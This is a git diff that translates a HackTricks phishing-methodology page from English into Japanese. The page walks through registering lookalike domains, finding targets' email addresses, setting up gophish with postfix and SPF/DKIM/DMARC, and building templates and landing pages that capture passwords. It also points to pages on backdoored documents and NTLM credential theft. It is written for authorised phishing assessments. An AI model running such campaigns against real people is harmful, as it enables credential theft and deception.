[💬ディスコードグループ](https://emojipedia.org/speech-balloon/)に参加するか、[テレグラムグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live)。 -{% embed url="https://go.intigriti.com/hacktricks" %} - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 diff --git a/generic-methodologies-and-resources/phishing-methodology/README.md b/generic-methodologies-and-resources/phishing-methodology/README.md index 6c27b3435..b7d93e26b 100644 --- a/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/generic-methodologies-and-resources/phishing-methodology/README.md @@ -1,110 +1,106 @@ -# Phishing Methodology +# フィッシングの方法論
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
-## Methodology +## 方法論 -1. Recon the victim - 1. Select the **victim domain**. - 2. Perform some basic web enumeration **searching for login portals** used by the victim and **decide** which one you will **impersonate**. - 3. Use some **OSINT** to **find emails**. -2. Prepare the environment - 1. **Buy the domain** you are going to use for the phishing assessment - 2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS) - 3. Configure the VPS with **gophish** -3. Prepare the campaign - 1. Prepare the **email template** - 2. Prepare the **web page** to steal the credentials -4. Launch the campaign! +1. ターゲットの情報収集 +1. **ターゲットドメイン**を選択します。 +2. ターゲットが使用している**ログインポータル**を検索し、**なりすます**ものを決定します。 +3. いくつかの**OSINT**を使用して**メールアドレスを見つけます**。 +2. 環境の準備 +1. フィッシング評価に使用するドメインを**購入**します。 +2. 関連するメールサービスのレコード(SPF、DMARC、DKIM、rDNS)を**設定**します。 +3. **gophish**を使用してVPSを設定します。 +3. キャンペーンの準備 +1. **メールテンプレート**を準備します。 +2. 資格情報を盗むための**ウェブページ**を準備します。 +4. キャンペーンを開始します! -## Generate similar domain names or buy a trusted domain +## 類似のドメイン名を生成するか、信頼できるドメインを購入する -### Domain Name Variation Techniques +### ドメイン名の変更技術 -* **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com). -* **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com). -* **New TLD**: Same domain using a **new TLD** (e.g., zelster.org) -* **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com). -* **Transposition:** It **swaps two letters** within the domain name (e.g., zelster.com). -* **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com). -* **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com). -* **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com). -* **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com). -* **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com). -* **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com). -* **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com) +* **キーワード**: オリジナルドメインの重要な**キーワードを含む**ドメイン名(例:zelster.com-management.com)。 +* **ハイフン付きサブドメイン**: サブドメインの**ドットをハイフンに変更**します(例:www-zelster.com)。 +* **新しいTLD**: 同じドメインを**新しいTLD**を使用して表現します(例:zelster.org)。 +* **ホモグリフ**: ドメイン名の一部の文字を、**似たような文字**で置き換えます(例:zelfser.com)。 +* **転置**: ドメイン名内の2つの文字を**入れ替えます**(例:zelster.com)。 +* **単数形/複数形**: ドメイン名の末尾に「s」を追加または削除します(例:zeltsers.com)。 +* **省略**: ドメイン名から1つの文字を**削除します**(例:zelser.com)。 +* **繰り返し**: ドメイン名の1つの文字を**繰り返します**(例:zeltsser.com)。 +* **置換**: ホモグリフと同様ですが、より目立たないです。ドメイン名の1つの文字を、元の文字に近いキーボード上の文字で置き換えます(例:zektser.com)。 +* **サブドメイン**: ドメイン名内に**ドット**を挿入します(例:ze.lster.com)。 +* **挿入**: ドメイン名に1つの文字を**挿入します**(例:zerltser.com)。 +* **ドットの欠落**: ドメイン名にTLDを追加します(例:zelstercom.com)。 -**Automatic Tools** +**自動ツール** * [**dnstwist**](https://github.com/elceef/dnstwist) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) -**Websites** +**ウェブサイト** * [https://dnstwist.it/](https://dnstwist.it) * [https://dnstwister.report/](https://dnstwister.report) * [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/) -### Bitflipping +### ビットフリッピング -In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes.\ -This applies to domains too. For example, _windows.com_ becomes _01110111..._ in the volatile memory of your computing device.\ -However, what if one of these bits got automatically flipped due to a solar flare, cosmic rays, or a hardware error? That is one of the 0's becomes a 1 and vice versa.\ -Applying this concept to DNS request, it's possible that the **domain requested** that arrives to the DNS server **isn't the same as the domain initially requested.** +コンピューティングの世界では、メモリ内にはビット(0と1)ですべてが格納されています。\ +ドメインも同様です。たとえば、_windows.com_は、コンピューティングデバイスの揮発性メモリ内では_01110111..._となります。\ +しかし、もしソーラーフレアや宇宙線、ハードウェアエラーによってビットの1つが自動的に反転した場合はどうでしょうか。つまり、0の1つが1に、1の1つが0になることです。\ +このコンセプトをDNSリクエストに適用すると、**DNSサーバーに到着するドメインリクエストが最初に要求されたドメインとは異なる可能性があります**。 -For example a 1 bit modification in the domain windows.com can transform it into _windnws.com._\ -**Attackers may register as many bit-flipping domains as possible related to the victim in order to redirect legitimate users to their infrastructure**. +たとえば、ドメインwindows.comの1ビットの変更により、_windnws.com_に変換される可能性があります。\ +**攻撃者は、被害者に関連するビットフリッピングドメインをできるだけ多く登録し、正規のユーザーを自身のインフラストラクチャにリダイレクトすることができます**。 -For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) +詳細については、[https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)を参照してください。 +### 信頼できるドメインを購入する -### Buy a trusted domain +[https://www.expireddomains.net/](https://www.expireddomains.net)で使用できる期限切れのドメインを検索することができます。\ +購入する前に、購入する期限切れのドメインが**既に良いSEOを持っているかどうか**を確認するために、以下のサイトでカテゴリ分けされているかどうかを調べることができます: -You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\ -In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in: +- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) +- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) -* [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) -* [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) +## メールアドレスの発見 -## Discovering Emails +- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester)(100%無料) +- [https://phonebook.cz/](https://phonebook.cz)(100%無料) +- [https://maildb.io/](https://maildb.io) +- [https://hunter.io/](https://hunter.io) +- [https://anymailfinder.com/](https://anymailfinder.com) -* [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free) -* [https://phonebook.cz/](https://phonebook.cz) (100% free) -* [https://maildb.io/](https://maildb.io) -* [https://hunter.io/](https://hunter.io) -* [https://anymailfinder.com/](https://anymailfinder.com) +さらに、有効なメールアドレスを**さらに発見**するか、すでに発見したメールアドレスを**検証**するために、被害者のSMTPサーバーのユーザー名をブルートフォースできるかどうかを確認することができます。[ここでメールアドレスの検証/発見方法を学ぶ](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration)。\ +さらに、ユーザーが**メールにアクセスするためのウェブポータル**を使用している場合、**ユーザー名のブルートフォース**に対して脆弱性があるかどうかを確認し、可能であればその脆弱性を悪用することができます。 -In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\ -Moreover, don't forget that if the users use **any web portal to access their mails**, you can check if it's vulnerable to **username brute force**, and exploit the vulnerability if possible. +## GoPhishの設定 -## Configuring GoPhish +### インストール -### Installation - -You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) - -Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\ -You will be given a password for the admin user in port 3333 in the output. Therefore, access that port and use those credentials to change the admin password. You may need to tunnel that port to local: +[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)からダウンロードすることができます。 +`/opt/gophish`内にダウンロードして解凍し、`/opt/gophish/gophish`を実行します。\ +出力には、ポート3333の管理者ユーザーのパスワードが表示されます。したがって、そのポートにアクセスし、これらの資格情報を使用して管理者パスワードを変更します。ローカルにそのポートをトンネリングする必要がある場合があります。 ```bash ssh -L 3333:127.0.0.1:3333 @ ``` +### 設定 -### Configuration - -**TLS certificate configuration** - -Before this step you should have **already bought the domain** you are going to use and it must be **pointing** to the **IP of the VPS** where you are configuring **gophish**. +**TLS証明書の設定** +この手順の前に、使用するドメインを**すでに購入している必要があります**。また、そのドメインは**gophishを設定しているVPSのIPに向けられている必要があります**。 ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto @@ -120,67 +116,61 @@ mkdir /opt/gophish/ssl_keys cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt​ ``` +**メールの設定** -**Mail configuration** +インストールを開始します:`apt-get install postfix` -Start installing: `apt-get install postfix` - -Then add the domain to the following files: +次に、次のファイルにドメインを追加します: * **/etc/postfix/virtual\_domains** * **/etc/postfix/transport** * **/etc/postfix/virtual\_regexp** -**Change also the values of the following variables inside /etc/postfix/main.cf** +**また、/etc/postfix/main.cf内の次の変数の値も変更します** `myhostname = `\ `mydestination = $myhostname, , localhost.com, localhost` -Finally modify the files **`/etc/hostname`** and **`/etc/mailname`** to your domain name and **restart your VPS.** +最後に、ファイル**`/etc/hostname`**と**`/etc/mailname`**をドメイン名に変更し、**VPSを再起動します。** -Now, create a **DNS A record** of `mail.` pointing to the **ip address** of the VPS and a **DNS MX** record pointing to `mail.` - -Now lets test to send an email: +次に、`mail.`の**IPアドレス**を指す**DNS Aレコード**と、`mail.`を指す**DNS MXレコード**を作成します。 +さて、メールを送信するテストを行いましょう: ```bash apt install mailutils echo "This is the body of the email" | mail -s "This is the subject line" test@email.com ``` +**Gophishの設定** -**Gophish configuration** - -Stop the execution of gophish and lets configure it.\ -Modify `/opt/gophish/config.json` to the following (note the use of https): - +Gophishの実行を停止し、設定を行いましょう。\ +`/opt/gophish/config.json`を以下のように変更してください(httpsの使用に注意してください): ```bash { - "admin_server": { - "listen_url": "127.0.0.1:3333", - "use_tls": true, - "cert_path": "gophish_admin.crt", - "key_path": "gophish_admin.key" - }, - "phish_server": { - "listen_url": "0.0.0.0:443", - "use_tls": true, - "cert_path": "/opt/gophish/ssl_keys/key.crt", - "key_path": "/opt/gophish/ssl_keys/key.pem" - }, - "db_name": "sqlite3", - "db_path": "gophish.db", - "migrations_prefix": "db/db_", - "contact_address": "", - "logging": { - "filename": "", - "level": "" - } +"admin_server": { +"listen_url": "127.0.0.1:3333", +"use_tls": true, +"cert_path": "gophish_admin.crt", +"key_path": "gophish_admin.key" +}, +"phish_server": { +"listen_url": "0.0.0.0:443", +"use_tls": true, +"cert_path": "/opt/gophish/ssl_keys/key.crt", +"key_path": "/opt/gophish/ssl_keys/key.pem" +}, +"db_name": "sqlite3", +"db_path": "gophish.db", +"migrations_prefix": "db/db_", +"contact_address": "", +"logging": { +"filename": "", +"level": "" +} } ``` +**gophishサービスの設定** -**Configure gophish service** - -In order to create the gophish service so it can be started automatically and managed a service you can create the file `/etc/init.d/gophish` with the following content: - +gophishサービスを自動的に起動し、サービスとして管理するために、以下の内容で`/etc/init.d/gophish`というファイルを作成します。 ```bash #!/bin/bash # /etc/init.d/gophish @@ -201,35 +191,33 @@ logfile=/var/log/gophish/gophish.log errfile=/var/log/gophish/gophish.error start() { - echo 'Starting '${processName}'...' - cd ${appDirectory} - nohup ./$process >>$logfile 2>>$errfile & - sleep 1 +echo 'Starting '${processName}'...' +cd ${appDirectory} +nohup ./$process >>$logfile 2>>$errfile & +sleep 1 } stop() { - echo 'Stopping '${processName}'...' - pid=$(/bin/pidof ${process}) - kill ${pid} - sleep 1 +echo 'Stopping '${processName}'...' +pid=$(/bin/pidof ${process}) +kill ${pid} +sleep 1 } status() { - pid=$(/bin/pidof ${process}) - if [["$pid" != ""| "$pid" != "" ]]; then - echo ${processName}' is running...' - else - echo ${processName}' is not running...' - fi +pid=$(/bin/pidof ${process}) +if [["$pid" != ""| "$pid" != "" ]]; then +echo ${processName}' is running...' +else +echo ${processName}' is not running...' +fi } case $1 in - start|stop|status) "$1" ;; +start|stop|status) "$1" ;; esac ``` - -Finish configuring the service and checking it doing: - +サービスの設定を完了し、次の手順で確認してください: ```bash mkdir /var/log/gophish chmod +x /etc/init.d/gophish @@ -240,68 +228,59 @@ service gophish status ss -l | grep "3333\|443" service gophish stop ``` +## メールサーバーとドメインの設定 -## Configuring mail server and domain +### 待つ -### Wait +ドメインが古ければ古いほど、スパムとして検知される可能性は低くなります。そのため、フィッシング評価を行う前にできるだけ長い時間(少なくとも1週間)待つ必要があります。\ +ただし、1週間待つ必要がある場合でも、すべての設定を今すぐ完了することができます。 -The older a domain is the less probable it's going to be caught as spam. Then you should wait as much time as possible (at least 1week) before the phishing assessment.\ -Note that even if you have to wait a week you can finish configuring everything now. +### 逆引きDNS(rDNS)レコードの設定 -### Configure Reverse DNS (rDNS) record +VPSのIPアドレスをドメイン名に解決するrDNS(PTR)レコードを設定します。 -Set a rDNS (PTR) record that resolves the IP address of the VPS to the domain name. +### Sender Policy Framework(SPF)レコード -### Sender Policy Framework (SPF) Record +新しいドメインには、**SPFレコードを設定する必要があります**。SPFレコードが何かわからない場合は、[**このページ**](../../network-services-pentesting/pentesting-smtp/#spf)を読んでください。 -You must **configure a SPF record for the new domain**. If you don't know what is a SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/#spf). - -You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine) +[https://www.spfwizard.net/](https://www.spfwizard.net)を使用して、SPFポリシーを生成することができます(VPSマシンのIPを使用してください)。 ![](<../../.gitbook/assets/image (388).png>) -This is the content that must be set inside a TXT record inside the domain: - +以下のコンテンツをドメイン内のTXTレコードに設定する必要があります。 ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` +### ドメインベースのメッセージ認証、レポート、および適合性(DMARC)レコード -### Domain-based Message Authentication, Reporting & Conformance (DMARC) Record - -You must **configure a DMARC record for the new domain**. If you don't know what is a DMARC record [**read this page**](../../network-services-pentesting/pentesting-smtp/#dmarc). - -You have to create a new DNS TXT record pointing the hostname `_dmarc.` with the following content: +新しいドメインには、**DMARCレコードを設定する必要があります**。DMARCレコードが何かわからない場合は、[**このページ**](../../network-services-pentesting/pentesting-smtp/#dmarc)を読んでください。 +次の内容で、ホスト名 `_dmarc.<ドメイン>` を指す新しいDNS TXTレコードを作成する必要があります: ```bash v=DMARC1; p=none ``` - ### DomainKeys Identified Mail (DKIM) -You must **configure a DKIM for the new domain**. If you don't know what is a DMARC record [**read this page**](../../network-services-pentesting/pentesting-smtp/#dkim). +新しいドメインにDKIMを設定する必要があります。DMARCレコードが何かわからない場合は、[このページ](../../network-services-pentesting/pentesting-smtp/#dkim)を読んでください。 -This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) +このチュートリアルは次のものに基づいています:[https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) {% hint style="info" %} -You need to concatenate both B64 values that the DKIM key generates: - +DKIMキーが生成する両方のB64値を連結する必要があります: ``` v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB ``` {% endhint %} -### Test your email configuration score - -You can do that using [https://www.mail-tester.com/](https://www.mail-tester.com)\ -Just access the page and send an email to the address they give you: +### メール設定のスコアをテストする +[https://www.mail-tester.com/](https://www.mail-tester.com)を使用してそれを行うことができます。\ +単にページにアクセスし、彼らが提供するアドレスにメールを送信してください。 ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` - -You can also c**heck your email configuration** sending an email to `check-auth@verifier.port25.com` and **reading the response** (for this you will need to **open** port **25** and see the response in the file _/var/mail/root_ if you send the email a as root).\ -Check that you pass all the tests: - +あなたのメール設定を確認するために、`check-auth@verifier.port25.com` にメールを送信し、レスポンスを読むこともできます(これにはポート25を開いて、メールをrootとして送信した場合は、_ /var/mail/root_ ファイルでレスポンスを確認する必要があります)。 +すべてのテストに合格していることを確認してください: ```bash ========================================================== Summary of Results @@ -312,49 +291,45 @@ DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` - -Alternatively, you can send a **message to a Gmail address that you control**, **view** the received **email’s headers** in your Gmail inbox, `dkim=pass` should be present in the `Authentication-Results` header field. - +代わりに、**自分が制御しているGmailアドレスにメッセージを送信**することもできます。Gmailの受信トレイで受け取った**メールのヘッダー**を**表示**すると、`Authentication-Results`ヘッダーフィールドに`dkim=pass`が表示されるはずです。 ``` Authentication-Results: mx.google.com; - spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; - dkim=pass header.i=@example.com; +spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; +dkim=pass header.i=@example.com; ``` +### スパムハウスのブラックリストからの削除 -### ​Removing from Spamhouse Blacklist +ウェブサイトwww.mail-tester.comは、あなたのドメインがスパムハウスによってブロックされているかどうかを示すことができます。ドメイン/IPの削除をリクエストするには、[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)にアクセスしてください。 -The page www.mail-tester.com can indicate you if you your domain is being blocked by spamhouse. You can request your domain/IP to be removed at: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) +### マイクロソフトのブラックリストからの削除 -### Removing from Microsoft Blacklist +ドメイン/IPの削除をリクエストするには、[https://sender.office.com/](https://sender.office.com)にアクセスしてください。 -​​You can request your domain/IP to be removed at [https://sender.office.com/](https://sender.office.com). +## GoPhishキャンペーンの作成と実行 -## Create & Launch GoPhish Campaign +### 送信プロファイル -### Sending Profile +* 送信者プロファイルを識別するための**名前を設定**します。 +* フィッシングメールを送信するアカウントを選択します。提案: _noreply, support, servicedesk, salesforce..._ +* ユーザー名とパスワードは空白のままにしておくこともできますが、証明書エラーを無視するオプションをチェックすることを確認してください。 -* Set some **name to identify** the sender profile -* Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._ -* You can leave blank the username and password, but make sure to check the Ignore Certificate Errors - -![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (17).png>) +![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (17).png>) {% hint style="info" %} -It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\ -I would recommend to **send the test emails to 10min mails addresses** in order to avoid getting blacklisted making tests. +動作確認のためには、**「テストメールを送信」**機能を使用することをお勧めします。\ +テストメールは、テスト中にブラックリストに登録されないように、**10分メールアドレス**に送信することをお勧めします。 {% endhint %} -### Email Template - -* Set some **name to identify** the template -* Then write a **subject** (nothing estrange, just something you could expect to read in a regular email) -* Make sure you have checked "**Add Tracking Image**" -* Write the **email template** (you can use variables like in the following example): +### メールテンプレート +* テンプレートを識別するための**名前を設定**します。 +* 次に、**件名**を書きます(普通のメールで読むことができるもので、特別なものではありません)。 +* 「**トラッキングイメージを追加**」をチェックしていることを確認してください。 +* **メールテンプレート**を書きます(以下の例のように変数を使用することができます): ```markup - +

Dear {{.FirstName}} {{.LastName}},

@@ -371,111 +346,103 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` +注意:**メールの信頼性を高めるために**、クライアントのメールからいくつかの署名を使用することをお勧めします。提案: -Note that **in order to increase the credibility of the email**, it's recommended to use some signature from an email from the client. Suggestions: - -* Send an email to a **non existent address** and check if the response has any signature. -* Search for **public emails** like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response. -* Try to contact **some valid discovered** email and wait for the response +- **存在しないアドレス**にメールを送信し、応答に署名があるかどうかを確認します。 +- info@ex.comやpress@ex.com、public@ex.comなどの**公開メール**を検索し、メールを送信して応答を待ちます。 +- **いくつかの有効な発見済み**のメールに連絡を取り、応答を待ちます。 ![](<../../.gitbook/assets/image (393).png>) {% hint style="info" %} -The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). +メールテンプレートでは、**送信するためにファイルを添付**することもできます。特別に作成されたファイル/ドキュメントを使用してNTLMチャレンジを盗む場合は、[このページ](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)を参照してください。 {% endhint %} -### Landing Page +### ランディングページ -* Write a **name** -* **Write the HTML code** of the web page. Note that you can **import** web pages. -* Mark **Capture Submitted Data** and **Capture Passwords** -* Set a **redirection** +- 名前を**書く** +- ウェブページのHTMLコードを**書く**。ウェブページを**インポート**することもできます。 +- **送信されたデータをキャプチャ**し、**パスワードをキャプチャ**するように設定します。 +- リダイレクトを設定します。 ![](<../../.gitbook/assets/image (394).png>) {% hint style="info" %} -Usually you will need to modify the HTML code of the page and make some tests in local (maybe using some Apache server) **until you like the results.** Then, write that HTML code in the box.\ -Note that if you need to **use some static resources** for the HTML (maybe some CSS and JS pages) you can save them in _**/opt/gophish/static/endpoint**_ and then access them from _**/static/\**_ +通常、ページのHTMLコードを変更し、ローカルでテストを行う必要があります(おそらくApacheサーバーを使用して)。**結果が気に入るまで**、ローカルでテストを行ってください。その後、そのHTMLコードをボックスに書き込んでください。\ +HTMLに**静的リソース**(CSSやJSページなど)を使用する必要がある場合は、それらを_**/opt/gophish/static/endpoint**_に保存し、_**/static/\**_からアクセスできます。 {% endhint %} {% hint style="info" %} -For the redirection you could **redirect the users to the legit main web page** of the victim, or redirect them to _/static/migration.html_ for example, put some **spinning wheel (**[**https://loading.io/**](https://loading.io)**) for 5 seconds and then indicate that the process was successful**. +リダイレクトでは、ユーザーを被害者の正規のメインウェブページに**リダイレクトする**か、例えば_/static/migration.html_にリダイレクトし、**5秒間スピニングホイール**([**https://loading.io/**](https://loading.io)**)を表示し、その後処理が成功したことを示します**。 {% endhint %} -### Users & Groups +### ユーザーとグループ -* Set a name -* **Import the data** (note that in order to use the template for the example you need the firstname, last name and email address of each user) +- 名前を設定します +- データを**インポート**します(例のテンプレートを使用する場合、各ユーザーの名前、姓、メールアドレスが必要です) ![](<../../.gitbook/assets/image (395).png>) -### Campaign +### キャンペーン -Finally, create a campaign selecting a name, the email template, the landing page, the URL, the sending profile and the group. Note that the URL will be the link sent to the victims +最後に、キャンペーンを作成し、名前、メールテンプレート、ランディングページ、URL、送信プロファイル、グループを選択します。URLは被害者に送信されるリンクになります。 -Note that the **Sending Profile allow to send a test email to see how will the final phishing email looks like**: +**送信プロファイルでは、最終的なフィッシングメールの見た目を確認するためにテストメールを送信**することができます: ![](<../../.gitbook/assets/image (396).png>) {% hint style="info" %} -I would recommend to **send the test emails to 10min mails addresses** in order to avoid getting blacklisted making tests. +テストメールを10分メールアドレスに送信することをお勧めします。これにより、テストを行うことでブラックリストに登録されるのを回避できます。 {% endhint %} -Once everything is ready, just launch the campaign! +準備ができたら、キャンペーンを開始するだけです! -## Website Cloning +## ウェブサイトのクローニング -If for any reason you want to clone the website check the following page: +何らかの理由でウェブサイトをクローンしたい場合は、次のページを参照してください: {% content-ref url="clone-a-website.md" %} [clone-a-website.md](clone-a-website.md) {% endcontent-ref %} -## Backdoored Documents & Files +## バックドア付きのドキュメントとファイル -In some phishing assessments (mainly for Red Teams) you will want to also **send files containing some kind of backdoor** (maybe a C2 or maybe just something that will trigger an authentication).\ -Check out the following page for some examples: +一部のフィッシング評価(主にレッドチーム向け)では、**バックドアを含むファイルを送信**することも必要になる場合があります(C2を含む場合もあれば、単に認証をトリガーするものかもしれません)。\ +いくつかの例については、次のページを参照してください: {% content-ref url="phishing-documents.md" %} [phishing-documents.md](phishing-documents.md) {% endcontent-ref %} 